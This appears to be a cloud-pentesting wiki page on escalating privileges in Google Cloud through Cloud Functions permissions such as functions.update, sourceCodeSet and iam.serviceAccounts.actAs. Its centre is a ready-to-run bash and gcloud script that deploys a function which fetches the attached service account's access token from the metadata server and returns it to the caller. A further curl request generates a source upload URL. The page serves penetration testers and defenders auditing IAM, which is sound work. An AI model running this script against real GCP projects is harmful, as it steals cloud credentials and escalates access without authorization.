GCP - Cloudfunctions Privesc

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cloudfunctions

More information about Cloud Functions:

pageGCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

An attacker with these privileges can create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account. Then, leak the Service Account token from the metadata to escalate privileges to it. Some privileges to trigger the function might be required.

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

An attacker with these privileges can modify the code of a Function and even modify the service account attached with the goal of exfiltrating the token. Some privileges to trigger the function might be required.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
    cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
    result = subprocess.check_output(cmd, shell=True, text=True)
    return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
  --runtime python312 \
  --trigger-http \
  --source $temp_dir \
  --entry-point main \
  --service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
  --allow-unauthenticated

# If you don't have permissions to change the IAM policy, the "--allow-unauthenticated" will just fail and do nothing

# Get SA tokin calling the new function code
gcloud functions call <cloudfunction-name>

The exploit script for this method can be found here.

cloudfunctions.functions.sourceCodeSet

With this permission you can get a signed URL to be able to upload a file to a function bucket (but the code of the function won't be changed, you still need to update it)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Not really sure how useful only this permission is from an attackers perspective, but good to know.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Give yourself any of the previous .update or .create privileges to escalate.

cloudfunctions.functions.update

Only having cloudfunctions permissions, without iam.serviceAccounts.actAs you won't be able to update the function SO THIS IS NOT A VALID PRIVESC.

Bucket Write Permissions

You might think that an attacker with write permissions over the bucket where the Cloud Functions code is stored will be able to modify the code overwriting the function_code.zip and then make the function execute arbitrary code.

However, this isn't true, just overwriting the code inside the bucket won't modify the code that is being executed.

References

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